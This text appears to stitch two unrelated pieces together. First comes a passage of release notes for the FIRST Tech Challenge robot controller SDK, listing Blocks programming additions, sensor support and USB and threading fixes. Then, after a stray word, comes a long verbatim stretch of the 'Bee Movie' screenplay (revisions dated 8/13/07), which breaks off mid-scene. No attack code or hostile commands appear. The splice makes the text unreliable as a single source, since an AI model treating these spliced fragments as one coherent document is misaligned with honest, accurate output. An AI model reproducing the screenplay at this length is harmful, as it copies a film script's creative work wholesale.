blocks in one OpMode and pasting them in an other OpMode. The clipboard content is stored on the phone, so the programming mode server must be running. Modified Utilities section of the toolbox. In Programming Mode, display information about the active connections. Fixed paste location when workspace has been scrolled. Added blocks support for the android Accelerometer. Fixed issue where Blocks Upload Op Mode truncated name at first dot. Added blocks support for Android SoundPool. Added type safety to blocks for Acceleration. Added type safety to blocks for AdafruitBNO055IMU.Parameters. Added type safety to blocks for AnalogInput. Added type safety to blocks for AngularVelocity. Added type safety to blocks for Color. Added type safety to blocks for ColorSensor. Added type safety to blocks for CompassSensor. Added type safety to blocks for CRServo. Added type safety to blocks for DigitalChannel. Added type safety to blocks for ElapsedTime. Added type safety to blocks for Gamepad. Added type safety to blocks for GyroSensor. Added type safety to blocks for IrSeekerSensor. Added type safety to blocks for LED. Added type safety to blocks for LightSensor. Added type safety to blocks for LinearOpMode. Added type safety to blocks for MagneticFlux. Added type safety to blocks for MatrixF. Added type safety to blocks for MrI2cCompassSensor. Added type safety to blocks for MrI2cRangeSensor. Added type safety to blocks for OpticalDistanceSensor. Added type safety to blocks for Orientation. Added type safety to blocks for Position. Added type safety to blocks for Quaternion. Added type safety to blocks for Servo. Added type safety to blocks for ServoController. Added type safety to blocks for Telemetry. Added type safety to blocks for Temperature. Added type safety to blocks for TouchSensor. Added type safety to blocks for UltrasonicSensor. Added type safety to blocks for VectorF. Added type safety to blocks for Velocity. Added type safety to blocks for VoltageSensor. Added type safety to blocks for VuforiaLocalizer.Parameters. Added type safety to blocks for VuforiaTrackable. Added type safety to blocks for VuforiaTrackables. Added type safety to blocks for enums in AdafruitBNO055IMU.Parameters. Added type safety to blocks for AndroidAccelerometer, AndroidGyroscope, AndroidOrientation, and AndroidTextToSpeech. Version 2.4 (released on 16.11.13) Fix to avoid crashing for nonexistent resources. Blocks Programming mode changes: Added blocks to support OpenGLMatrix, MatrixF, and VectorF. Added blocks to support AngleUnit, AxesOrder, AxesReference, CameraDirection, CameraMonitorFeedback, DistanceUnit, and TempUnit. Added blocks to support Acceleration. Added blocks to support LinearOpMode.getRuntime. Added blocks to support MagneticFlux and Position. Fixed typos. Made blocks for ElapsedTime more consistent with other objects. Added blocks to support Quaternion, Velocity, Orientation, AngularVelocity. Added blocks to support VuforiaTrackables, VuforiaTrackable, VuforiaLocalizer, VuforiaTrackableDefaultListener. Fixed a few blocks. Added type checking to new blocks. Updated to latest blockly. Added default variable blocks to navigation and matrix blocks. Fixed toolbox entry for openGLMatrix_rotation_withAxesArgs. When user downloads Blocks-generated op mode, only the .blk file is downloaded. When user uploads Blocks-generated op mode (.blk file), Javascript code is auto generated. Added DbgLog support. Added logging when a blocks file is read/written. Fixed bug to properly render blocks even if missing devices from configuration file. Added support for additional characters (not just alphanumeric) for the block file names (for download and upload). Added support for OpMode flavor (“Autonomous” or “TeleOp”) and group. Changes to Samples to prevent tutorial issues. Incorporated suggested changes from public pull 216 (“Replace .. paths”). Remove Servo Glitches when robot stopped. if user hits “Cancels” when editing a configuration file, clears the unsaved changes and reverts to original unmodified configuration. Added log info to help diagnose why the Robot Controller app was terminated (for example, by watch dog function). Added ability to transfer log from the controller. Fixed inconsistency for AngularVelocity Limit unbounded growth of data for telemetry. If user does not call telemetry.update() for LinearOpMode in a timely manner, data added for telemetry might get lost if size limit is exceeded. Version 2.35 (released on 16.10.06) Blockly programming mode - Removed unnecesary idle() call from blocks for new project. Version 2.30 (released on 16.10.05) Blockly programming mode: Mechanism added to save Blockly op modes from Programming Mode Server onto local device To avoid clutter, blocks are displayed in categorized folders Added support for DigitalChannel Added support for ModernRoboticsI2cCompassSensor Added support for ModernRoboticsI2cRangeSensor Added support for VoltageSensor Added support for AnalogInput Added support for AnalogOutput Fix for CompassSensor setMode block Vuforia Fix deadlock / make camera data available while Vuforia is running. Update to Vuforia 6.0.117 (recommended by Vuforia and Google to close security loophole). Fix for autonomous 30 second timer bug (where timer was in effect, even though it appeared to have timed out). opModeIsActive changes to allow cleanup after op mode is stopped (with enforced 2 second safety timeout). Fix to avoid reading i2c twice. Updated sample Op Modes. Improved logging and fixed intermittent freezing. Added digital I/O sample. Cleaned up device names in sample op modes to be consistent with Pushbot guide. Fix to allow use of IrSeekerSensorV3. Version 2.20 (released on 16.09.08) Support for Modern Robotics Compass Sensor. Support for Modern Robotics Range Sensor. Revise device names for Pushbot templates to match the names used in Pushbot guide. Fixed bug so that IrSeekerSensorV3 device is accessible as IrSeekerSensor in hardwareMap. Modified computer vision code to require an individual Vuforia license (per legal requirement from PTC). Minor fixes. Blockly enhancements: Support for Voltage Sensor. Support for Analog Input. Support for Analog Output. Support for Light Sensor. Support for Servo Controller. Version 2.10 (released on 16.09.03) Support for Adafruit IMU. Improvements to ModernRoboticsI2cGyro class Block on reset of z axis. isCalibrating() returns true while gyro is calibration. Updated sample gyro program. Blockly enhancements support for android.graphics.Color. added support for ElapsedTime. improved look and legibility of blocks. support for compass sensor. support for ultrasonic sensor. support for IrSeeker. support for LED. support for color sensor. support for CRServo prompt user to configure robot before using programming mode. Provides ability to disable audio cues. various bug fixes and improvements. Version 2.00 (released on 16.08.19) This is the new release for the upcoming 2016-2017 FIRST Tech Challenge Season. Channel change is enabled in the FTC Robot Controller app for Moto G 2nd and 3rd Gen phones. Users can now use annotations to register/disable their Op Modes. Changes in the Android SDK, JDK and build tool requirements (minsdk=19, java 1.7, build tools 23.0.3). Standardized units in analog input. Cleaned up code for existing analog sensor classes. setChannelMode and getChannelMode were REMOVED from the DcMotorController class. This is important - we no longer set the motor modes through the motor controller. setMode and getMode were added to the DcMotor class. ContinuousRotationServo class has been added to the FTC SDK. Range.clip() method has been overloaded so it can support this operation for int, short and byte integers. Some changes have been made (new methods added) on how a user can access items from the hardware map. Users can now set the zero power behavior for a DC motor so that the motor will brake or float when power is zero. Prototype Blockly Programming Mode has been added to FTC Robot Controller. Users can place the Robot Controller into this mode, and then use a device (such as a laptop) that has a Javascript enabled browser to write Blockly-based Op Modes directly onto the Robot Controller. Users can now configure the robot remotely through the FTC Driver Station app. Android Studio project supports Android Studio 2.1.x and compile SDK Version 23 (Marshmallow). Vuforia Computer Vision SDK integrated into FTC SDK. Users can use sample vision targets to get localization information on a standard FTC field. Project structure has been reorganized so that there is now a TeamCode package that users can use to place their local/custom Op Modes into this package. Inspection function has been integrated into the FTC Robot Controller and Driver Station Apps (Thanks Team HazMat… 9277 & 10650!). Audio cues have been incorporated into FTC SDK. Swap mechanism added to FTC Robot Controller configuration activity. For example, if you have two motor controllers on a robot, and you misidentified them in your configuration file, you can use the Swap button to swap the devices within the configuration file (so you do not have to manually re-enter in the configuration info for the two devices). Fix mechanism added to all user to replace an electronic module easily. For example, suppose a servo controller dies on your robot. You replace the broken module with a new module, which has a different serial number from the original servo controller. You can use the Fix button to automatically reconfigure your configuration file to use the serial number of the new module. Improvements made to fix resiliency and responsiveness of the system. For LinearOpMode the user now must for a telemetry.update() to update the telemetry data on the driver station. This update() mechanism ensures that the driver station gets the updated data properly and at the same time. The Auto Configure function of the Robot Controller is now template based. If there is a commonly used robot configuration, a template can be created so that the Auto Configure mechanism can be used to quickly configure a robot of this type. The logic to detect a runaway op mode (both in the LinearOpMode and OpMode types) and to abort the run, then auto recover has been improved/implemented. Fix has been incorporated so that Logitech F310 gamepad mappings will be correct for Marshmallow users. Release 16.07.08 For the ftc_app project, the gradle files have been modified to support Android Studio 2.1.x. Release 16.03.30 For the MIT App Inventor, the design blocks have new icons that better represent the function of each design component. Some changes were made to the shutdown logic to ensure the robust shutdown of some of our USB services. A change was made to LinearOpMode so as to allow a given instance to be executed more than once, which is required for the App Inventor. Javadoc improved/updated. Release 16.03.09 Changes made to make the FTC SDK synchronous (significant change!) waitOneFullHardwareCycle() and waitForNextHardwareCycle() are no longer needed and have been deprecated. runOpMode() (for a LinearOpMode) is now decoupled from the system's hardware read/write thread. loop() (for an OpMode) is now decoupled from the system's hardware read/write thread. Methods are synchronous. For example, if you call setMode(DcMotorController.RunMode.RESET_ENCODERS) for a motor, the encoder is guaranteed to be reset when the method call is complete. For legacy module (NXT compatible), user no longer has to toggle between read and write modes when reading from or writing to a legacy device. Changes made to enhance reliability/robustness during ESD event. Changes made to make code thread safe. Debug keystore added so that user-generated robot controller APKs will all use the same signed key (to avoid conflicts if a team has multiple developer laptops for example). Firmware version information for Modern Robotics modules are now logged. Changes made to improve USB comm reliability and robustness. Added support for voltage indicator for legacy (NXT-compatible) motor controllers. Changes made to provide auto stop capabilities for op modes. A LinearOpMode class will stop when the statements in runOpMode() are complete. User does not have to push the stop button on the driver station. If an op mode is stopped by the driver station, but there is a run away/uninterruptible thread persisting, the app will log an error message then force itself to crash to stop the runaway thread. Driver Station UI modified to display lowest measured voltage below current voltage (12V battery). Driver Station UI modified to have color background for current voltage (green=good, yellow=caution, red=danger, extremely low voltage). javadoc improved (edits and additional classes). Added app build time to About activity for driver station and robot controller apps. Display local IP addresses on Driver Station About activity. Added I2cDeviceSynchImpl. Added I2cDeviceSync interface. Added seconds() and milliseconds() to ElapsedTime for clarity. Added getCallbackCount() to I2cDevice. Added missing clearI2cPortActionFlag. Added code to create log messages while waiting for LinearOpMode shutdown. Fix so Wifi Direct Config activity will no longer launch multiple times. Added the ability to specify an alternate i2c address in software for the Modern Robotics gyro. Release 16.02.09 Improved battery checker feature so that voltage values get refreshed regularly (every 250 msec) on Driver Station (DS) user interface. Improved software so that Robot Controller (RC) is much more resilient and “self-healing” to USB disconnects: If user attempts to start/restart RC with one or more module missing, it will display a warning but still start up. When running an op mode, if one or more modules gets disconnected, the RC & DS will display warnings,and robot will keep on working in spite of the missing module(s). If a disconnected module gets physically reconnected the RC will auto detect the module and the user will regain control of the recently connected module. Warning messages are more helpful (identifies the type of module that’s missing plus its USB serial number). Code changes to fix the null gamepad reference when users try to reference the gamepads in the init() portion of their op mode. NXT light sensor output is now properly scaled. Note that teams might have to readjust their light threshold values in their op modes. On DS user interface, gamepad icon for a driver will disappear if the matching gamepad is disconnected or if that gamepad gets designated as a different driver. Robot Protocol (ROBOCOL) version number info is displayed in About screen on RC and DS apps. Incorporated a display filter on pairing screen to filter out devices that don’t use the “-“ format. This filter can be turned off to show all WiFi Direct devices. Updated text in License file. Fixed formatting error in OpticalDistanceSensor.toString(). Fixed issue on with a blank (“”) device name that would disrupt WiFi Direct Pairing. Made a change so that the WiFi info and battery info can be displayed more quickly on the DS upon connecting to RC. Improved javadoc generation. Modified code to make it easier to support language localization in the future. Release 16.01.04 Updated compileSdkVersion for apps Prevent Wifi from entering power saving mode removed unused import from driver station Corrrected "Dead zone" joystick code. LED.getDeviceName and .getConnectionInfo() return null apps check for ROBOCOL_VERSION mismatch Fix for Telemetry also has off-by-one errors in its data string sizing / short size limitations error User telemetry output is sorted. added formatting variants to DbgLog and RobotLog APIs code modified to allow for a long list of op mode names. changes to improve thread safety of RobocolDatagramSocket Fix for "missing hardware leaves robot controller disconnected from driver station" error fix for "fast tapping of Init/Start causes problems" (toast is now only instantiated on UI thread). added some log statements for thread life cycle. moved gamepad reset logic inside of initActiveOpMode() for robustness changes made to mitigate risk of race conditions on public methods. changes to try and flag when WiFi Direct name contains non-printable characters. fix to correct race condition between .run() and .close() in ReadWriteRunnableStandard. updated FTDI driver made ReadWriteRunnableStanard interface public. fixed off-by-one errors in Command constructor moved specific hardware implmentations into their own package. moved specific gamepad implemnatations to the hardware library. changed LICENSE file to new BSD version. fixed race condition when shutting down Modern Robotics USB devices. methods in the ColorSensor classes have been synchronized. corrected isBusy() status to reflect end of motion. corrected "back" button keycode. the notSupported() method of the GyroSensor class was changed to protected (it should not be public). Release 15.11.04.001 Added Support for Modern Robotics Gyro. The GyroSensor class now supports the MR Gyro Sensor. Users can access heading data (about Z axis) Users can also access raw gyro data (X, Y, & Z axes). Example MRGyroTest.java op mode included. Improved error messages More descriptive error messages for exceptions in user code. Updated DcMotor API Enable read mode on new address in setI2cAddress Fix so that driver station app resets the gamepads when switching op modes. USB-related code changes to make USB comm more responsive and to display more explicit error messages. Fix so that USB will recover properly if the USB bus returns garbage data. Fix USB initializtion race condition. Better error reporting during FTDI open. More explicit messages during USB failures. Fixed bug so that USB device is closed if event loop teardown method was not called. Fixed timer UI issue Fixed duplicate name UI bug (Legacy Module configuration). Fixed race condition in EventLoopManager. Fix to keep references stable when updating gamepad. For legacy Matrix motor/servo controllers removed necessity of appending "Motor" and "Servo" to controller names. Updated HT color sensor driver to use constants from ModernRoboticsUsbLegacyModule class. Updated MR color sensor driver to use constants from ModernRoboticsUsbDeviceInterfaceModule class. Correctly handle I2C Address change in all color sensors Updated/cleaned up op modes. Updated comments in LinearI2cAddressChange.java example op mode. Replaced the calls to "setChannelMode" with "setMode" (to match the new of the DcMotor method). Removed K9AutoTime.java op mode. Added MRGyroTest.java op mode (demonstrates how to use MR Gyro Sensor). Added MRRGBExample.java op mode (demonstrates how to use MR Color Sensor). Added HTRGBExample.java op mode (demonstrates how to use HT legacy color sensor). Added MatrixControllerDemo.java (demonstrates how to use legacy Matrix controller). Updated javadoc documentation. Updated release .apk files for Robot Controller and Driver Station apps. Release 15.10.06.002 Added support for Legacy Matrix 9.6V motor/servo controller. Cleaned up build.gradle file. Minor UI and bug fixes for driver station and robot controller apps. Throws error if Ultrasonic sensor (NXT) is not configured for legacy module port 4 or 5. Release 15.08.03.001 New user interfaces for FTC Driver Station and FTC Robot Controller apps. An init() method is added to the OpMode class. For this release, init() is triggered right before the start() method. Eventually, the init() method will be triggered when the user presses an "INIT" button on driver station. The init() and loop() methods are now required (i.e., need to be overridden in the user's op mode). The start() and stop() methods are optional. A new LinearOpMode class is introduced. Teams can use the LinearOpMode mode to create a linear (not event driven) program model. Teams can use blocking statements like Thread.sleep() within a linear op mode. The API for the Legacy Module and Core Device Interface Module have been updated. Support for encoders with the Legacy Module is now working. The hardware loop has been updated for better performance.
danderfer
According to all known laws of aviation, there is no way that a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway. Because bees don’t care what humans think is impossible.” SEQ. 75 - “INTRO TO BARRY” INT. BENSON HOUSE - DAY ANGLE ON: Sneakers on the ground. Camera PANS UP to reveal BARRY BENSON’S BEDROOM ANGLE ON: Barry’s hand flipping through different sweaters in his closet. BARRY Yellow black, yellow black, yellow black, yellow black, yellow black, yellow black...oohh, black and yellow... ANGLE ON: Barry wearing the sweater he picked, looking in the mirror. BARRY (CONT’D) Yeah, let’s shake it up a little. He picks the black and yellow one. He then goes to the sink, takes the top off a CONTAINER OF HONEY, and puts some honey into his hair. He squirts some in his mouth and gargles. Then he takes the lid off the bottle, and rolls some on like deodorant. CUT TO: INT. BENSON HOUSE KITCHEN - CONTINUOUS Barry’s mother, JANET BENSON, yells up at Barry. JANET BENSON Barry, breakfast is ready! CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 1. INT. BARRY’S ROOM - CONTINUOUS BARRY Coming! SFX: Phone RINGING. Barry’s antennae vibrate as they RING like a phone. Barry’s hands are wet. He looks around for a towel. BARRY (CONT’D) Hang on a second! He wipes his hands on his sweater, and pulls his antennae down to his ear and mouth. BARRY (CONT'D) Hello? His best friend, ADAM FLAYMAN, is on the other end. ADAM Barry? BARRY Adam? ADAM Can you believe this is happening? BARRY Can’t believe it. I’ll pick you up. Barry sticks his stinger in a sharpener. SFX: BUZZING AS HIS STINGER IS SHARPENED. He tests the sharpness with his finger. SFX: Bing. BARRY (CONT’D) Looking sharp. ANGLE ON: Barry hovering down the hall, sliding down the staircase bannister. Barry’s mother, JANET BENSON, is in the kitchen. JANET BENSON Barry, why don’t you use the stairs? Your father paid good money for those. "Bee Movie" - JS REVISIONS 8/13/07 2. BARRY Sorry, I’m excited. Barry’s father, MARTIN BENSON, ENTERS. He’s reading a NEWSPAPER with the HEADLINE, “Queen gives birth to thousandtuplets: Resting Comfortably.” MARTIN BENSON Here’s the graduate. We’re very proud of you, Son. And a perfect report card, all B’s. JANET BENSON (mushing Barry’s hair) Very proud. BARRY Ma! I’ve got a thing going here. Barry re-adjusts his hair, starts to leave. JANET BENSON You’ve got some lint on your fuzz. She picks it off. BARRY Ow, that’s me! MARTIN BENSON Wave to us. We’ll be in row 118,000. Barry zips off. BARRY Bye! JANET BENSON Barry, I told you, stop flying in the house! CUT TO: SEQ. 750 - DRIVING TO GRADUATION EXT. BEE SUBURB - MORNING A GARAGE DOOR OPENS. Barry drives out in his CAR. "Bee Movie" - JS REVISIONS 8/13/07 3. ANGLE ON: Barry’s friend, ADAM FLAYMAN, standing by the curb. He’s reading a NEWSPAPER with the HEADLINE: “Frisbee Hits Hive: Internet Down. Bee-stander: “I heard a sound, and next thing I knew...wham-o!.” Barry drives up, stops in front of Adam. Adam jumps in. BARRY Hey, Adam. ADAM Hey, Barry. (pointing at Barry’s hair) Is that fuzz gel? BARRY A little. It’s a special day. Finally graduating. ADAM I never thought I’d make it. BARRY Yeah, three days of grade school, three days of high school. ADAM Those were so awkward. BARRY Three days of college. I’m glad I took off one day in the middle and just hitchhiked around the hive. ADAM You did come back different. They drive by a bee who’s jogging. ARTIE Hi Barry! BARRY (to a bee pedestrian) Hey Artie, growing a mustache? Looks good. Barry and Adam drive from the suburbs into the city. ADAM Hey, did you hear about Frankie? "Bee Movie" - JS REVISIONS 8/13/07 4. BARRY Yeah. ADAM You going to his funeral? BARRY No, I’m not going to his funeral. Everybody knows you sting someone you die, you don’t waste it on a squirrel. He was such a hot head. ADAM Yeah, I guess he could’ve just gotten out of the way. The DRIVE through a loop de loop. BARRY AND ADAM Whoa...Whooo...wheee!! ADAM I love this incorporating the amusement park right into our regular day. BARRY I guess that’s why they say we don’t need vacations. CUT TO: SEQ. 95 - GRADUATION EXT. GRADUATION CEREMONY - CONTINUOUS Barry and Adam come to a stop. They exit the car, and fly over the crowd to their seats. * BARRY * (re: graduation ceremony) * Boy, quite a bit of pomp...under * the circumstances. * They land in their seats. BARRY (CONT’D) Well Adam, today we are men. "Bee Movie" - JS REVISIONS 8/13/07 5. ADAM We are. BARRY Bee-men. ADAM Amen! BARRY Hallelujah. Barry hits Adam’s forehead. Adam goes into the rapture. An announcement comes over the PA. ANNOUNCER (V.O) Students, faculty, distinguished bees...please welcome, Dean Buzzwell. ANGLE ON: DEAN BUZZWELL steps up to the podium. The podium has a sign that reads: “Welcome Graduating Class of:”, with train-station style flipping numbers after it. BUZZWELL Welcome New Hive City graduating class of... The numbers on the podium change to 9:15. BUZZWELL (CONT’D) ...9:15. (he clears his throat) And that concludes our graduation ceremonies. And begins your career at Honex Industries. BARRY Are we going to pick our job today? ADAM I heard it’s just orientation. The rows of chairs change in transformer-like mechanical motion to Universal Studios type tour trams. Buzzwell walks off stage. BARRY (re: trams) Whoa, heads up! Here we go. "Bee Movie" - JS REVISIONS 8/13/07 6. SEQ. 125 - “FACTORY” FEMALE VOICE (V.O) Keep your hands and antennas inside the tram at all times. (in Spanish) Dejen las manos y antennas adentro del tram a todos tiempos. BARRY I wonder what it’s going to be like? ADAM A little scary. Barry shakes Adam. BARRY AND ADAM AAHHHH! The tram passes under SIGNS READING: “Honex: A Division of Honesco: A Part of the Hexagon Group.” TRUDY Welcome to Honex, a division of Honesco, and a part of the Hexagon group. BARRY This is it! The Honex doors OPEN, revealing the factory. BARRY (CONT’D) Wow. TRUDY We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant pollen jocks bring the nectar to the hive where our top secret formula is automatically color-corrected, scent adjusted and bubble contoured into this... Trudy GRABS a TEST TUBE OF HONEY from a technician. "Bee Movie" - JS REVISIONS 8/13/07 7. TRUDY (CONT’D) ...soothing, sweet syrup with its distinctive golden glow, you all know as... EVERYONE ON THE TRAM (in unison) H-o-n-e-y. Trudy flips the flask into the crowd, and laughs as they all scramble for it. ANGLE ON: A GIRL BEE catching the honey. ADAM (sotto) That girl was hot. BARRY (sotto) She’s my cousin. ADAM She is? BARRY Yes, we’re all cousins. ADAM Right. You’re right. TRUDY At Honex, we also constantly strive to improve every aspect of bee existence. These bees are stress testing a new helmet technology. ANGLE ON: A STUNT BEE in a HELMET getting hit with a NEWSPAPER, then a SHOE, then a FLYSWATTER. He gets up, and gives a “thumb’s up”. The graduate bees APPLAUD. ADAM (re: stunt bee) What do you think he makes? BARRY Not enough. TRUDY And here we have our latest advancement, the Krelman. "Bee Movie" - JS REVISIONS 8/13/07 8. BARRY Wow, what does that do? TRUDY Catches that little strand of honey that hangs after you pour it. Saves us millions. ANGLE ON: The Krelman machine. Bees with hand-shaped hats on, rotating around a wheel to catch drips of honey. Adam’s hand shoots up. ADAM Can anyone work on the Krelman? TRUDY Of course. Most bee jobs are small ones. But bees know that every small job, if it’s done well, means a lot. There are over 3000 different bee occupations. But choose carefully, because you’ll stay in the job that you pick for the rest of your life. The bees CHEER. ANGLE ON: Barry’s smile dropping slightly. BARRY The same job for the rest of your life? I didn’t know that. ADAM What’s the difference? TRUDY And you’ll be happy to know that bees as a species haven’t had one day off in 27 million years. BARRY So you’ll just work us to death? TRUDY (laughing) We’ll sure try. Everyone LAUGHS except Barry. "Bee Movie" - JS REVISIONS 8/13/07 9. The tram drops down a log-flume type steep drop. Cameras flash, as all the bees throw up their hands. The frame freezes into a snapshot. Barry looks concerned. The tram continues through 2 doors. FORM DISSOLVE TO: SEQ. 175 - “WALKING THE HIVE” INT. HONEX LOBBY ANGLE ON: The log-flume photo, as Barry looks at it. ADAM Wow. That blew my mind. BARRY (annoyed) “What’s the difference?” Adam, how could you say that? One job forever? That’s an insane choice to have to make. ADAM Well, I’m relieved. Now we only have to make one decision in life. BARRY But Adam, how could they never have told us that? ADAM Barry, why would you question anything? We’re bees. We’re the most perfectly functioning society on Earth. They walk by a newspaper stand with A SANDWICH BOARD READING: “Bee Goes Berserk: Stings Seven Then Self.” ANGLE ON: A BEE filling his car’s gas tank from a honey pump. He fills his car some, then takes a swig for himself. NEWSPAPER BEE (to the bee guzzling gas) Hey! Barry and Adam begin to cross the street. "Bee Movie" - JS REVISIONS 8/13/07 10. BARRY Yeah but Adam, did you ever think that maybe things work a little too well around here? They stop in the middle of the street. The traffic moves perfectly around them. ADAM Like what? Give me one example. BARRY (thinks) ...I don’t know. But you know what I’m talking about. They walk off. SEQ. 400 - “MEET THE JOCKS” SFX: The SOUND of Pollen Jocks. PAN DOWN from the Honex statue. J-GATE ANNOUNCER Please clear the gate. Royal Nectar Force on approach. Royal Nectar Force on approach. BARRY Wait a second. Check it out. Hey, hey, those are Pollen jocks. ADAM Wow. FOUR PATROL BEES FLY in through the hive’s giant Gothic entrance. The Patrol Bees are wearing fighter pilot helmets with black visors. ADAM (CONT’D) I’ve never seen them this close. BARRY They know what it’s like to go outside the hive. ADAM Yeah, but some of them don’t come back. "Bee Movie" - JS REVISIONS 8/13/07 11. The nectar from the pollen jocks is removed from their backpacks, and loaded into trucks on their way to Honex. A SMALL CROWD forms around the Patrol Bees. Each one has a PIT CREW that takes their nectar. Lou Loduca hurries a pit crew along: LOU LODUCA You guys did great! You’re monsters. You’re sky freaks! I love it! I love it! SCHOOL GIRLS are jumping up and down and squealing nearby. BARRY I wonder where those guys have just been? ADAM I don’t know. BARRY Their day’s not planned. Outside the hive, flying who-knows-where, doing who-knows-what. ADAM You can’t just decide one day to be a Pollen Jock. You have to be bred for that. BARRY Right. Pollen Jocks cross in close proximity to Barry and Adam. Some pollen falls off, onto Barry and Adam. BARRY (CONT’D) Look at that. That’s more pollen than you and I will ever see in a lifetime. ADAM (playing with the pollen) It’s just a status symbol. I think bees make too big a deal out of it. BARRY Perhaps, unless you’re wearing it, and the ladies see you wearing it. ANGLE ON: Two girl bees. "Bee Movie" - JS REVISIONS 8/13/07 12. ADAM Those ladies? Aren’t they our cousins too? BARRY Distant, distant. ANGLE ON: TWO POLLEN JOCKS. JACKSON Look at these two. SPLITZ Couple of Hive Harrys. JACKSON Let’s have some fun with them. The pollen jocks approach. Barry and Adam continue to talk to the girls. GIRL 1 It must be so dangerous being a pollen jock. BARRY Oh yeah, one time a bear had me pinned up against a mushroom. He had one paw on my throat, and with the other he was slapping me back and forth across the face. GIRL 1 Oh my. BARRY I never thought I’d knock him out. GIRL 2 (to Adam) And what were you doing during all of this? ADAM Obviously I was trying to alert the authorities. The girl swipes some pollen off of Adam with a finger. BARRY (re: pollen) I can autograph that if you want. "Bee Movie" - JS REVISIONS 8/13/07 13. JACKSON Little gusty out there today, wasn’t it, comrades? BARRY Yeah. Gusty. BUZZ You know, we’re going to hit a sunflower patch about six miles from here tomorrow. BARRY Six miles, huh? ADAM (whispering) Barry. BUZZ It’s a puddle-jump for us. But maybe you’re not up for it. BARRY Maybe I am. ADAM (whispering louder) You are not! BUZZ We’re going, oh-nine hundred at JGate. ADAM (re: j-gate) Whoa. BUZZ (leaning in, on top of Barry) What do you think, Buzzy Boy? Are you bee enough? BARRY I might be. It all depends on what oh-nine hundred means. CUT TO: SEQ. 450 - “THE BALCONY” "Bee Movie" - JS REVISIONS 8/13/07 14. INT. BENSON HOUSE BALCONY - LATER Barry is standing on the balcony alone, looking out over the city. Martin Benson ENTERS, sneaks up behind Barry and gooses him in his ribs. MARTIN BENSON Honex! BARRY Oh, Dad. You surprised me. MARTIN BENSON (laughing) Have you decided what you’re interested in, Son? BARRY Well, there’s a lot of choices. MARTIN BENSON But you only get one. Martin LAUGHS. BARRY Dad, do you ever get bored doing the same job every day? MARTIN BENSON Son, let me tell you something about stirring. (making the stirring motion) You grab that stick and you just move it around, and you stir it around. You get yourself into a rhythm, it’s a beautiful thing. BARRY You know dad, the more I think about it, maybe the honey field just isn’t right for me. MARTIN BENSON And you were thinking of what, making balloon animals? That’s a bad job for a guy with a stinger. "Bee Movie" - JS REVISIONS 8/13/07 15. BARRY Well no... MARTIN BENSON Janet, your son’s not sure he wants to go into honey. JANET BENSON Oh Barry, you are so funny sometimes. BARRY I’m not trying to be funny. MARTIN BENSON You’re not funny, you’re going into honey. Our son, the stirrer. JANET BENSON You’re going to be a stirrer?! BARRY No one’s listening to me. MARTIN BENSON Wait until you see the sticks I have for you. BARRY I can say anything I want right now. I’m going to get an ant tattoo. JANET BENSON Let’s open some fresh honey and celebrate. BARRY Maybe I’ll pierce my thorax! MARTIN BENSON (toasting) To honey! BARRY Shave my antennae! JANET BENSON To honey! "Bee Movie" - JS REVISIONS 8/13/07 16. BARRY Shack up with a grasshopper, get a gold tooth, and start calling everybody “Dawg.” CUT TO: SEQ. 760 - “JOB PLACEMENT” EXT. HONEX LOBBY - CONTINUOUS ANGLE ON: A BEE BUS STOP. One group of bees stands on the pavement, as another group hovers above them. A doubledecker bus pulls up. The hovering bees get on the top level, and the standing bees get on the bottom. Barry and Adam pull up outside of Honex. ADAM I can’t believe we’re starting work today. BARRY Today’s the day. Adam jumps out of the car. ADAM (O.C) Come on. All the good jobs will be gone. BARRY Yeah, right... ANGLE ON: A BOARD READING: “JOB PLACEMENT BOARD”. Buzzwell, the Bee Processor, is at the counter. Another BEE APPLICANT, SANDY SHRIMPKIN is EXITING. SANDY SHRIMPKIN Is it still available? BUZZWELL Hang on. (he looks at changing numbers on the board) Two left. And...one of them’s yours. Congratulations Son, step to the side please. "Bee Movie" - JS REVISIONS 8/13/07 17. SANDY SHRIMPKIN Yeah! ADAM (to Sandy, leaving) What did you get? SANDY SHRIMPKIN Picking the crud out. That is stellar! ADAM Wow. BUZZWELL (to Adam and Barry) Couple of newbies? ADAM Yes Sir. Our first day. We are ready. BUZZWELL Well, step up and make your choice. ANGLE ON: A CHART listing the different sectors of Honex. Heating, Cooling, Viscosity, Krelman, Pollen Counting, Stunt Bee, Pouring, Stirrer, Humming, Regurgitating, Front Desk, Hair Removal, Inspector No. 7, Chef, Lint Coordinator, Stripe Supervisor, Antennae-ball polisher, Mite Wrangler, Swatting Counselor, Wax Monkey, Wing Brusher, Hive Keeper, Restroom Attendant. ADAM (to Barry) You want to go first? BARRY No, you go. ADAM Oh my. What’s available? BUZZWELL Restroom attendant is always open, and not for the reason you think. ADAM Any chance of getting on to the Krelman, Sir? BUZZWELL Sure, you’re on. "Bee Movie" - JS REVISIONS 8/13/07 18. He plops the KRELMAN HAT onto Adam’s head. ANGLE ON: The job board. THE COLUMNS READ: “OCCUPATION” “POSITIONS AVAILABLE”, and “STATUS”. The middle column has numbers, and the right column has job openings flipping between “open”, “pending”, and “closed”. BUZZWELL (CONT’D) Oh, I’m sorry. The Krelman just closed out. ADAM Oh! He takes the hat off Adam. BUZZWELL Wax Monkey’s always open. The Krelman goes from “Closed” to “Open”. BUZZWELL (CONT’D) And the Krelman just opened up again. ADAM What happened? BUZZWELL Well, whenever a bee dies, that’s an opening. (pointing at the board) See that? He’s dead, dead, another dead one, deady, deadified, two more dead. Dead from the neck up, dead from the neck down. But, that’s life. ANGLE ON: Barry’s disturbed expression. ADAM (feeling pressure to decide) Oh, this is so hard. Heating, cooling, stunt bee, pourer, stirrer, humming, inspector no. 7, lint coordinator, stripe supervisor, antenna-ball polisher, mite wrangler-- Barry, Barry, what do you think I should-- Barry? Barry? "Bee Movie" - JS REVISIONS 8/13/07 19. Barry is gone. CUT TO: SEQ. 775 - “LOU LODUCA SPEECH” EXT. J-GATE - SAME TIME Splitz, Jackson, Buzz, Lou and two other BEES are going through final pre-flight checks. Barry ENTERS. LOU LODUCA Alright, we’ve got the sunflower patch in quadrant nine. Geranium window box on Sutton Place... Barry’s antennae rings, like a phone. ADAM (V.O) What happened to you? Where are you? Barry whispers throughout. BARRY I’m going out. ADAM (V.O) Out? Out where? BARRY Out there. ADAM (V.O) (putting it together) Oh no. BARRY I have to, before I go to work for the rest of my life. ADAM (V.O) You’re going to die! You’re crazy! Hello? BARRY Oh, another call coming in. "Bee Movie" - JS REVISIONS 8/13/07 20. ADAM (V.O) 